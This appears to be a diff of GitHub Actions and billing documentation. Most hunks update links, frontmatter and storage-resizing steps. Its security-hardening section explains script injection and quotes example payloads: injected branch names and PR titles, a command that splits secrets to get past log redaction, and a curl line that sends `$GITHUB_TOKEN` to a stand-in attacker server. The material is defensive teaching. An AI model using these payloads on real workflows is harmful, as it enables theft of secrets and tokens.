You should ensure that these values do not flow directly into workflows, actions, API calls, or anywhere else where they could be interpreted as executable code. By adopting the same defensive programming posture you would use for any other privileged application code, you can help security harden your use of {% data variables.product.prodname_actions %}. For information on some of the steps an attacker could take, see ["Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)."
|
||||
|
||||
In addition, there are other less obvious sources of potentially untrusted input, such as branch names and email addresses, which can be quite flexible in terms of their permitted content. For example, `zzz";echo${IFS}"hello";#` would be a valid branch name and would be a possible attack vector for a target repository.
|
||||
|
||||
The following sections explain how you can help mitigate the risk of script injection.
|
||||
|
||||
#### Example of a script injection attack
|
||||
|
||||
A script injection attack can occur directly within a workflow's inline script. In the following example, an action uses an expression to test the validity of a pull request title, but also adds the risk of script injection:
|
||||
|
||||
{% raw %}
|
||||
```
|
||||
- name: Check PR title
|
||||
run: |
|
||||
title="${{ github.event.pull_request.title }}"
|
||||
if [[ $title =~ ^octocat ]]; then
|
||||
echo "PR title starts with 'octocat'"
|
||||
exit 0
|
||||
else
|
||||
echo "PR title did not start with 'octocat'"
|
||||
exit 1
|
||||
fi
|
||||
```
|
||||
{% endraw %}
|
||||
|
||||
This example is vulnerable to script injection because the `run` command executes within a temporary shell script on the runner. Before the shell script is run, the expressions inside {% raw %}`${{ }}`{% endraw %} are evaluated and then substituted with the resulting values, which can make it vulnerable to shell command injection.
|
||||
|
||||
To inject commands into this workflow, the attacker could create a pull request with a title of `a"; ls $GITHUB_WORKSPACE"`:
|
||||
|
||||

|
||||
|
||||
In this example, the `"` character is used to interrupt the {% raw %}`title="${{ github.event.pull_request.title }}"`{% endraw %} statement, allowing the `ls` command to be executed on the runner. You can see the output of the `ls` command in the log:
|
||||
|
||||

|
||||
|
||||
### Good practices for mitigating script injection attacks
|
||||
|
||||
There are a number of different approaches available to help you mitigate the risk of script injection:
|
||||
|
||||
#### Using an action instead of an inline script (recommended)
|
||||
|
||||
The recommended approach is to create an action that processes the context value as an argument. This approach is not vulnerable to the injection attack, as the context value is not used to generate a shell script, but is instead passed to the action as an argument:
|
||||
|
||||
{% raw %}
|
||||
```
|
||||
uses: fakeaction/checktitle@v3
|
||||
with:
|
||||
title: ${{ github.event.pull_request.title }}
|
||||
```
|
||||
{% endraw %}
|
||||
|
||||
#### Using an intermediate environment variable
|
||||
|
||||
For inline scripts, the preferred approach to handling untrusted input is to set the value of the expression to an intermediate environment variable.
|
||||
|
||||
The following example uses Bash to process the `github.event.pull_request.title` value as an environment variable:
|
||||
|
||||
{% raw %}
|
||||
```
|
||||
- name: Check PR title
|
||||
env:
|
||||
TITLE: ${{ github.event.pull_request.title }}
|
||||
run: |
|
||||
if [[ "$TITLE" =~ ^octocat ]]; then
|
||||
echo "PR title starts with 'octocat'"
|
||||
exit 0
|
||||
else
|
||||
echo "PR title did not start with 'octocat'"
|
||||
exit 1
|
||||
fi
|
||||
```
|
||||
{% endraw %}
|
||||
|
||||
In this example, the attempted script injection is unsuccessful:
|
||||
|
||||

|
||||
|
||||
With this approach, the value of the {% raw %}`${{ github.event.issue.title }}`{% endraw %} expression is stored in memory and used as a variable, and doesn't interact with the script generation process. In addition, consider using double quote shell variables to avoid [word splitting](https://github.com/koalaman/shellcheck/wiki/SC2086), but this is [one of many](https://mywiki.wooledge.org/BashPitfalls) general recommendations for writing shell scripts, and is not specific to {% data variables.product.prodname_actions %}.
|
||||
|
||||
#### Using CodeQL to analyze your code
|
||||
|
||||
To help you manage the risk of dangerous patterns as early as possible in the development lifecycle, the {% data variables.product.prodname_dotcom %} Security Lab has developed [CodeQL queries](https://github.com/github/codeql/tree/main/javascript/ql/src/experimental/Security/CWE-094) that repository owners can [integrate](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#running-additional-queries) into their CI/CD pipelines. For more information, see "[About code scanning](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)."
|
||||
|
||||
The scripts currently depend on the CodeQL JavaScript libraries, which means that the analyzed repository must contain at least one JavaScript file and that CodeQL must be [configured to analyze this language](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed).
|
||||
|
||||
- `ExpressionInjection.ql`: Covers the expression injections described in this article, and is considered to be reasonably accurate. However, it doesn’t perform data flow tracking between workflow steps.
|
||||
- `UntrustedCheckout.ql`: This script's results require manual review to determine whether the code from a pull request is actually treated in an unsafe manner. For more information, see "[Keeping your GitHub Actions and workflows secure: Preventing pwn requests](https://securitylab.github.com/research/github-actions-preventing-pwn-requests)" on the {% data variables.product.prodname_dotcom %} Security Lab blog.
|
||||
|
||||
#### Restricting permissions for tokens
|
||||
|
||||
To help mitigate the risk of an exposed token, consider restricting the assigned permissions. For more information, see "[Modifying the permissions for the GITHUB_TOKEN](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token)."
|
||||
|
||||
### Using third-party actions
|
||||
|
||||
The individual jobs in a workflow can interact with (and compromise) other jobs. For example, a job querying the environment variables used by a later job, writing files to a shared directory that a later job processes, or even more directly by interacting with the Docker socket and inspecting other running containers and executing commands in them.
|
||||
|
||||
This means that a compromise of a single action within a workflow can be very significant, as that compromised action would have access to all secrets configured on your repository, and may be able to use the `GITHUB_TOKEN` to write to the repository. Consequently, there is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. You can help mitigate this risk by following these good practices:
|
||||
This means that a compromise of a single action within a workflow can be very significant, as that compromised action would have access to all secrets configured on your repository, and may be able to use the `GITHUB_TOKEN` to write to the repository. Consequently, there is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. For information on some of the steps an attacker could take, see ["Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)."
|
||||
|
||||
You can help mitigate this risk by following these good practices:
|
||||
|
||||
* **Pin actions to a full length commit SHA**
|
||||
|
||||
@@ -76,6 +183,40 @@ This means that a compromise of a single action within a workflow can be very si
|
||||
|
||||
Although pinning to a commit SHA is the most secure option, specifying a tag is more convenient and is widely used. If you’d like to specify a tag, then be sure that you trust the action's creators. The ‘Verified creator’ badge on {% data variables.product.prodname_marketplace %} is a useful signal, as it indicates that the action was written by a team whose identity has been verified by {% data variables.product.prodname_dotcom %}. Note that there is risk to this approach even if you trust the author, because a tag can be moved or deleted if a bad actor gains access to the repository storing the action.
|
||||
|
||||
### Potential impact of a compromised runner
|
||||
|
||||
These sections consider some of the steps an attacker can take if they're able to run malicious commands on a {% data variables.product.prodname_actions %} runner.
|
||||
|
||||
#### Accessing secrets
|
||||
|
||||
Workflows triggered using the `pull_request` event have read-only permissions and have no access to secrets. However, these permissions differ for various event triggers such as `issue_comment`, `issues` and `push`, where the attacker could attempt to steal repository secrets or use the write permission of the job's [`GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token).
|
||||
|
||||
- If the secret or token is set to an environment variable, it can be directly accessed through the environment using `printenv`.
|
||||
- If the secret is used directly in an expression, the generated shell script is stored on-disk and is accessible.
|
||||
- For a custom action, the risk can vary depending on how a program is using the secret it obtained from the argument:
|
||||
|
||||
{% raw %}
|
||||
```
|
||||
uses: fakeaction/publish@v3
|
||||
with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
{% endraw %}
|
||||
|
||||
Although {% data variables.product.prodname_actions %} scrubs secrets from memory that are not referenced in the workflow (or an included action), the `GITHUB_TOKEN` and any referenced secrets can be harvested by a determined attacker.
|
||||
|
||||
#### Exfiltrating data from a runner
|
||||
|
||||
An attacker can exfiltrate any stolen secrets or other data from the runner. To help prevent accidental secret disclosure, {% data variables.product.prodname_actions %} [automatically redact secrets printed to the log](/actions/reference/encrypted-secrets#accessing-your-secrets), but this is not a true security boundary because secrets can be intentionally sent to the log. For example, obfuscated secrets can be exfiltrated using `echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};`. In addition, since the attacker may run arbitrary commands, they could use HTTP requests to send secrets or other repository data to an external server.
|
||||
|
||||
#### Stealing the job's `GITHUB_TOKEN`
|
||||
|
||||
It is possible for an attacker to steal a job's `GITHUB_TOKEN`. The {% data variables.product.prodname_actions %} runner automatically receives a generated `GITHUB_TOKEN` with permissions that are limited to just the repository that contains the workflow, and the token expires after the job has completed. Once expired, the token is no longer useful to an attacker. To work around this limitation, they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example: `a"; set +e; curl http://example.lab?token=$GITHUB_TOKEN;#`.
|
||||
|
||||
#### Modifying the contents of a repository
|
||||
|
||||
The attacker server can use the {% data variables.product.prodname_dotcom %} API to [modify repository content](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token), including releases, if the assigned permissions of `GITHUB_TOKEN` [are not restricted](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token).
|
||||
|
||||
### Considering cross-repository access
|
||||
|
||||
{% data variables.product.prodname_actions %} is intentionally scoped for a single repository at a time. The `GITHUB_TOKEN` grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file{% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.1" or currentVersion == "github-ae@next" %}, elevating the permissions of the `GITHUB_TOKEN` if necessary{% endif %}. Users have specific permissions for each repository, so allowing the `GITHUB_TOKEN` for one repository to grant access to another would impact the {% data variables.product.prodname_dotcom %} permission model if not implemented carefully. Similarly, caution must be taken when adding {% data variables.product.prodname_dotcom %} authentication tokens to a workflow, because this can also affect the {% data variables.product.prodname_dotcom %} permission model by inadvertently granting broad access to collaborators.
|
||||
|
||||
@@ -21,6 +21,6 @@ Billable job execution minutes are only shown for jobs run on private repositori
|
||||
|
||||
{% note %}
|
||||
|
||||
**Note:** The billable time shown does not include any rounding or minute multipliers. To view your total {% data variables.product.prodname_actions %} usage, including rounding and minute multipliers, see "[Viewing your {% data variables.product.prodname_actions %} usage](/github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-github-actions-usage)."
|
||||
**Note:** The billable time shown does not include any rounding or minute multipliers. To view your total {% data variables.product.prodname_actions %} usage, including rounding and minute multipliers, see "[Viewing your {% data variables.product.prodname_actions %} usage](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage)."
|
||||
|
||||
{% endnote %}
|
||||
|
||||
@@ -12,6 +12,7 @@ versions:
|
||||
free-pro-team: '*'
|
||||
enterprise-server: '>=2.22'
|
||||
github-ae: '*'
|
||||
miniTocMaxHeadingLevel: 4
|
||||
---
|
||||
|
||||
{% data reusables.actions.enterprise-beta %}
|
||||
@@ -32,7 +33,9 @@ You need to use specific syntax to tell {% data variables.product.prodname_dotco
|
||||
|
||||
{% data reusables.github-actions.expression-syntax-if %} For more information about `if` conditionals, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)."
|
||||
|
||||
#### Example expression in an `if` conditional
|
||||
{% data reusables.github-actions.context-injection-warning %}
|
||||
|
||||
##### Example expression in an `if` conditional
|
||||
|
||||
```yaml
|
||||
steps:
|
||||
@@ -40,7 +43,7 @@ steps:
|
||||
if: {% raw %}${{ <expression> }}{% endraw %}
|
||||
```
|
||||
|
||||
#### Example setting an environment variable
|
||||
##### Example setting an environment variable
|
||||
|
||||
{% raw %}
|
||||
```yaml
|
||||
@@ -86,6 +89,7 @@ In order to use property dereference syntax, the property name must:
|
||||
The `github` context contains information about the workflow run and the event that triggered the run. You can read most of the `github` context data in environment variables. For more information about environment variables, see "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)."
|
||||
|
||||
{% data reusables.github-actions.github-context-warning %}
|
||||
{% data reusables.github-actions.context-injection-warning %}
|
||||
|
||||
| Property name | Type | Description |
|
||||
|---------------|------|-------------|
|
||||
@@ -172,7 +176,7 @@ The `needs` context contains outputs from all jobs that are defined as a depende
|
||||
| `needs.<job id>.outputs.<output name>` | `string` | The value of a specific output for a job that the current job depends on. |
|
||||
| `needs.<job id>.result` | `string` | The result of a job that the current job depends on. Possible values are `success`, `failure`, `cancelled`, or `skipped`. |
|
||||
|
||||
#### Example printing context information to the log file
|
||||
##### Example printing context information to the log file
|
||||
|
||||
To inspect the information that is accessible in each context, you can use this workflow file example.
|
||||
|
||||
@@ -225,7 +229,7 @@ As part of an expression, you can use `boolean`, `null`, `number`, or `string` d
|
||||
| `number` | Any number format supported by JSON.
|
||||
| `string` | You must use single quotes. Escape literal single-quotes with a single quote.
|
||||
|
||||
#### Example
|
||||
##### Example
|
||||
|
||||
{% raw %}
|
||||
```yaml
|
||||
|
||||
@@ -19,7 +19,7 @@ topics:
|
||||
### About billing for {% data variables.product.prodname_actions %}
|
||||
|
||||
{% if currentVersion == "free-pro-team@latest" %}
|
||||
{% data reusables.github-actions.actions-billing %} For more information, see "[About billing for {% data variables.product.prodname_actions %}](/github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-actions)."
|
||||
{% data reusables.github-actions.actions-billing %} For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)."
|
||||
{% else %}
|
||||
GitHub Actions usage is free for {% data variables.product.prodname_ghe_server %}s that use self-hosted runners.
|
||||
{% endif %}
|
||||
|
||||
@@ -79,7 +79,7 @@ For the overall list of included tools for each runner operating system, see the
|
||||
* [Ubuntu 18.04 LTS](https://github.com/actions/virtual-environments/blob/main/images/linux/Ubuntu1804-README.md)
|
||||
* [Windows Server 2019](https://github.com/actions/virtual-environments/blob/main/images/win/Windows2019-Readme.md)
|
||||
* [Windows Server 2016](https://github.com/actions/virtual-environments/blob/main/images/win/Windows2016-Readme.md)
|
||||
* [macOS 11.0](https://github.com/actions/virtual-environments/blob/main/images/macos/macos-11.0-Readme.md)
|
||||
* [macOS 11](https://github.com/actions/virtual-environments/blob/main/images/macos/macos-11-Readme.md)
|
||||
* [macOS 10.15](https://github.com/actions/virtual-environments/blob/main/images/macos/macos-10.15-Readme.md)
|
||||
|
||||
{% data variables.product.prodname_dotcom %}-hosted runners include the operating system's default built-in tools, in addition to the packages listed in the above references. For example, Ubuntu and macOS runners include `grep`, `find`, and `which`, among other default tools.
|
||||
@@ -135,6 +135,6 @@ Actions that run in Docker containers have static directories under the `/github
|
||||
{% if currentVersion == "free-pro-team@latest" %}
|
||||
|
||||
### Further reading
|
||||
- "[Managing billing for {% data variables.product.prodname_actions %}](/github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-actions)"
|
||||
- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)"
|
||||
|
||||
{% endif %}
|
||||
|
||||
@@ -27,7 +27,7 @@ topics:
|
||||
|
||||
- The [SSSE3](https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-optimization-manual.pdf#G3.1106470) (Supplemental Streaming SIMD Extensions 3) CPU flag needs to be enabled on the VM/KVM that runs {% data variables.product.product_location %}.
|
||||
|
||||
- A license for {% data variables.product.prodname_GH_advanced_security %} (see "[About licensing for {% data variables.product.prodname_GH_advanced_security %}](/admin/advanced-security/about-licensing-for-github-advanced-security)")
|
||||
- A license for {% data variables.product.prodname_GH_advanced_security %}{% if currentVersion ver_gt "enterprise-server@3.0" %} (see "[About licensing for {% data variables.product.prodname_GH_advanced_security %}](/admin/advanced-security/about-licensing-for-github-advanced-security)"){% endif %}
|
||||
|
||||
- {% data variables.product.prodname_secret_scanning_caps %} enabled in the management console (see "[Enabling {% data variables.product.prodname_GH_advanced_security %} for your enterprise](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)")
|
||||
|
||||
|
||||
@@ -22,7 +22,7 @@ As more users join {% data variables.product.product_location %}, you may need t
|
||||
|
||||
{% note %}
|
||||
|
||||
**Note:** Before resizing the user storage volume, put your instance in maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
|
||||
**Note:** Before resizing any storage volume, put your instance in maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
|
||||
|
||||
{% endnote %}
|
||||
|
||||
@@ -56,6 +56,12 @@ As more users join {% data variables.product.product_location %}, you may need t
|
||||
|
||||
### Increasing the root partition size using an existing appliance
|
||||
|
||||
{% warning %}
|
||||
|
||||
**Warning:** Before increasing the root partition size, you must put your instance in maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
|
||||
|
||||
{% endwarning %}
|
||||
|
||||
1. Attach a new disk to your {% data variables.product.prodname_ghe_server %} appliance.
|
||||
2. Run the `parted` command to format the disk:
|
||||
```shell
|
||||
@@ -63,13 +69,16 @@ As more users join {% data variables.product.product_location %}, you may need t
|
||||
$ sudo parted /dev/xvdg mkpart primary ext4 0% 50%
|
||||
$ sudo parted /dev/xvdg mkpart primary ext4 50% 100%
|
||||
```
|
||||
3. Run the `ghe-upgrade` command to install a full, platform specific package to the newly partitioned disk. A universal hotpatch upgrade package, such as `github-enterprise-2.11.9.hpkg`, will not work as expected.
|
||||
3. Run the `ghe-upgrade` command to install a full, platform specific package to the newly partitioned disk. A universal hotpatch upgrade package, such as `github-enterprise-2.11.9.hpkg`, will not work as expected. After the `ghe-upgrade` command completes, application services will automatically terminate.
|
||||
|
||||
```shell
|
||||
$ ghe-upgrade PACKAGE-NAME.pkg -s -t /dev/xvdg1
|
||||
```
|
||||
4. Shut down the appliance:
|
||||
4. As the root user, using a text editor of your choice, edit the _/etc/fstab_ file, changing the UUID for the `/` mount point to the UUID of the new root drive. You can obtain the UUID of the new root drive with the command `sudo lsblk -f`.
|
||||
5. Shut down the appliance:
|
||||
```shell
|
||||
$ sudo poweroff
|
||||
```
|
||||
5. In the hypervisor, remove the old root disk and attach the new root disk at the same location as the old root disk.
|
||||
6. Start the appliance.
|
||||
6. In the hypervisor, remove the old root disk and attach the new root disk at the same location as the old root disk.
|
||||
7. Start the appliance.
|
||||
8. Ensure system services are functioning correctly, then release maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
|
||||
|
||||
@@ -1,21 +1,20 @@
|
||||
---
|
||||
title: Setting up and managing billing and payments on GitHub
|
||||
title: Billing and payments on GitHub
|
||||
shortTitle: Billing and payments
|
||||
intro: 'Learn about paid products and subscriptions available from {% data variables.product.company_short %}, and manage your account''s billing and payment methods.'
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github
|
||||
- /categories/setting-up-and-managing-billing-and-payments-on-github
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
topics:
|
||||
- Billing
|
||||
children:
|
||||
- /managing-your-github-billing-settings
|
||||
- /managing-billing-for-your-github-account
|
||||
- /managing-billing-for-github-marketplace-apps
|
||||
- /managing-billing-for-github-actions
|
||||
- /managing-billing-for-git-large-file-storage
|
||||
- /managing-billing-for-github-packages
|
||||
- /managing-licensing-for-github-advanced-security
|
||||
- /managing-billing-for-github-sponsors
|
||||
- /managing-billing-for-github-packages
|
||||
- /managing-billing-for-github-marketplace-apps
|
||||
- /managing-billing-for-git-large-file-storage
|
||||
- /setting-up-paid-organizations-for-procurement-companies
|
||||
---
|
||||
|
||||
@@ -2,12 +2,15 @@
|
||||
title: About billing for Git Large File Storage
|
||||
intro: 'If you purchase additional storage and bandwidth for {% data variables.large_files.product_name_long %}, your purchase shares your account''s existing billing date, payment method, and receipt.'
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-git-large-file-storage
|
||||
- /articles/about-billing-for-git-large-file-storage
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-git-large-file-storage
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
type: overview
|
||||
topics:
|
||||
- Billing
|
||||
- LFS
|
||||
- Upgrades
|
||||
---
|
||||
### About billing for {% data variables.large_files.product_name_long %}
|
||||
|
||||
@@ -2,14 +2,19 @@
|
||||
title: Downgrading Git Large File Storage
|
||||
intro: 'You can downgrade storage and bandwidth for {% data variables.large_files.product_name_short %} by increments of 50 GB per month.'
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-git-large-file-storage
|
||||
- /articles/downgrading-storage-and-bandwidth-for-a-personal-account/
|
||||
- /articles/downgrading-storage-and-bandwidth-for-an-organization/
|
||||
- /articles/downgrading-git-large-file-storage
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-git-large-file-storage
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
type: how_to
|
||||
topics:
|
||||
- Billing
|
||||
- Downgrades
|
||||
- LFS
|
||||
- Organizations
|
||||
- User account
|
||||
---
|
||||
When you downgrade your number of data packs, your change takes effect on your next billing date. For more information, see "[About billing for {% data variables.large_files.product_name_long %}](/articles/about-billing-for-git-large-file-storage)."
|
||||
|
||||
@@ -1,19 +1,18 @@
|
||||
---
|
||||
title: Managing billing for Git Large File Storage
|
||||
shortTitle: Git Large File Storage
|
||||
intro: 'You can view usage for, upgrade, and downgrade {% data variables.large_files.product_name_long %}.'
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-git-large-file-storage
|
||||
- /articles/managing-large-file-storage-and-bandwidth-for-your-personal-account/
|
||||
- /articles/managing-large-file-storage-and-bandwidth-for-your-organization/
|
||||
- /articles/managing-storage-and-bandwidth-usage/
|
||||
- /articles/managing-billing-for-git-large-file-storage
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
topics:
|
||||
- Billing
|
||||
children:
|
||||
- /about-billing-for-git-large-file-storage
|
||||
- /viewing-your-git-large-file-storage-usage
|
||||
- /upgrading-git-large-file-storage
|
||||
- /downgrading-git-large-file-storage
|
||||
---
|
||||
|
||||
@@ -2,14 +2,19 @@
|
||||
title: Upgrading Git Large File Storage
|
||||
intro: 'You can purchase additional data packs to increase your monthly bandwidth quota and total storage capacity for {% data variables.large_files.product_name_short %}.'
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-git-large-file-storage
|
||||
- /articles/purchasing-additional-storage-and-bandwidth-for-a-personal-account/
|
||||
- /articles/purchasing-additional-storage-and-bandwidth-for-an-organization/
|
||||
- /articles/upgrading-git-large-file-storage
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-git-large-file-storage
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
type: how_to
|
||||
topics:
|
||||
- Billing
|
||||
- LFS
|
||||
- Organizations
|
||||
- Upgrades
|
||||
- User account
|
||||
---
|
||||
### Purchasing additional storage and bandwidth for a personal account
|
||||
|
||||
@@ -2,14 +2,18 @@
|
||||
title: Viewing your Git Large File Storage usage
|
||||
intro: 'You can audit your account''s monthly bandwidth quota and remaining storage for {% data variables.large_files.product_name_short %}.'
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-git-large-file-storage-usage
|
||||
- /articles/viewing-storage-and-bandwidth-usage-for-a-personal-account/
|
||||
- /articles/viewing-storage-and-bandwidth-usage-for-an-organization/
|
||||
- /articles/viewing-your-git-large-file-storage-usage
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-git-large-file-storage-usage
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
type: how_to
|
||||
topics:
|
||||
- Billing
|
||||
- LFS
|
||||
- Organizations
|
||||
- User account
|
||||
---
|
||||
{% data reusables.large_files.owner_quota_only %} {% data reusables.large_files.does_not_carry %}
|
||||
|
||||
@@ -2,12 +2,14 @@
|
||||
title: About billing for GitHub Actions
|
||||
intro: 'If you want to use {% data variables.product.prodname_actions %} beyond the storage or minutes included in your account, you will be billed for additional usage.'
|
||||
product: '{% data reusables.gated-features.actions %}'
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
topics:
|
||||
- Billing
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-actions
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
type: overview
|
||||
topics:
|
||||
- Actions
|
||||
- Spending limits
|
||||
---
|
||||
### About billing for {% data variables.product.prodname_actions %}
|
||||
|
||||
@@ -35,7 +37,7 @@ Jobs that run on Windows and macOS runners that {% data variables.product.prodna
|
||||
| macOS| 10 |
|
||||
| Windows | 2 |
|
||||
|
||||
The storage used by a repository is the total storage used by {% data variables.product.prodname_actions %} artifacts and {% data variables.product.prodname_registry %}. Your storage cost is the total usage for all repositories owned by your account. For more information about pricing for {% data variables.product.prodname_registry %}, see "[About billing for {% data variables.product.prodname_registry %}](/github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-packages)."
|
||||
The storage used by a repository is the total storage used by {% data variables.product.prodname_actions %} artifacts and {% data variables.product.prodname_registry %}. Your storage cost is the total usage for all repositories owned by your account. For more information about pricing for {% data variables.product.prodname_registry %}, see "[About billing for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)."
|
||||
|
||||
If your account's usage surpasses these limits and you have set a spending limit above $0, you will pay $0.25 USD per GB of storage per month and per-minute usage depending on the operating system used by the {% data variables.product.prodname_dotcom %}-hosted runner. {% data variables.product.prodname_dotcom %} rounds the minutes each job uses up to the nearest minute.
|
||||
|
||||
@@ -78,6 +80,6 @@ Your {% data variables.product.prodname_actions %} usage shares your account's e
|
||||
|
||||
{% data reusables.github-actions.actions-spending-limit-detailed %}
|
||||
|
||||
For information on managing and changing your account's spending limit, see "[Managing your spending limit for {% data variables.product.prodname_actions %}](/github/setting-up-and-managing-billing-and-payments-on-github/managing-your-spending-limit-for-github-actions)."
|
||||
For information on managing and changing your account's spending limit, see "[Managing your spending limit for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions)."
|
||||
|
||||
{% data reusables.dotcom_billing.actions-packages-unpaid-account %}
|
||||
@@ -1,13 +1,13 @@
|
||||
---
|
||||
title: Managing billing for GitHub Actions
|
||||
shortTitle: GitHub Actions
|
||||
intro: 'You can view your usage and set a spending limit for {% data variables.product.prodname_actions %}.'
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-actions
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
topics:
|
||||
- Billing
|
||||
children:
|
||||
- /about-billing-for-github-actions
|
||||
- /about-billing-for-github-actions
|
||||
- /viewing-your-github-actions-usage
|
||||
- /managing-your-spending-limit-for-github-actions
|
||||
---
|
||||
|
||||
@@ -2,12 +2,17 @@
|
||||
title: Managing your spending limit for GitHub Actions
|
||||
intro: 'You can set a spending limit for {% data variables.product.prodname_actions %} usage.'
|
||||
product: '{% data reusables.gated-features.actions %}'
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
topics:
|
||||
- Billing
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-spending-limit-for-github-actions
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
type: how_to
|
||||
topics:
|
||||
- Actions
|
||||
- Enterprise
|
||||
- Organizations
|
||||
- Spending limits
|
||||
- User account
|
||||
---
|
||||
### About spending limits for {% data variables.product.prodname_actions %}
|
||||
|
||||
@@ -15,7 +20,7 @@ redirect_from:
|
||||
|
||||
{% data reusables.github-actions.actions-spending-limit-brief %}
|
||||
|
||||
{% data reusables.actions.actions-packages-set-spending-limit %} For more information about pricing for {% data variables.product.prodname_actions %} usage, see "[About billing for {% data variables.product.prodname_actions %}](/github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-actions)."
|
||||
{% data reusables.actions.actions-packages-set-spending-limit %} For more information about pricing for {% data variables.product.prodname_actions %} usage, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)."
|
||||
|
||||
If you purchased {% data variables.product.prodname_enterprise %} through a Microsoft Enterprise Agreement, you can connect your Azure Subscription ID to your enterprise account to enable and pay for {% data variables.product.prodname_actions %} usage beyond the amounts including with your account. For more information, see "[Connecting an Azure subscription to your enterprise](/github/setting-up-and-managing-your-enterprise/connecting-an-azure-subscription-to-your-enterprise)."
|
||||
|
||||
@@ -2,12 +2,16 @@
|
||||
title: Viewing your GitHub Actions usage
|
||||
intro: 'You can view details of your usage of minutes and storage for {% data variables.product.prodname_actions %}.'
|
||||
product: '{% data reusables.gated-features.actions %}'
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
topics:
|
||||
- Billing
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-github-actions-usage
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
type: how_to
|
||||
topics:
|
||||
- Actions
|
||||
- Enterprise
|
||||
- Organizations
|
||||
- User account
|
||||
---
|
||||
You can also view the billable job execution minutes for an individual workflow run. For more information, see "[Viewing job execution time](/actions/managing-workflow-runs/viewing-job-execution-time)."
|
||||
|
||||
@@ -2,12 +2,14 @@
|
||||
title: About billing for GitHub Marketplace
|
||||
intro: 'If you install a paid app in {% data variables.product.prodname_marketplace %}, your subscription shares your account''s existing billing date, payment method, and receipt.'
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-marketplace
|
||||
- /articles/about-billing-for-github-marketplace
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-marketplace
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
type: overview
|
||||
topics:
|
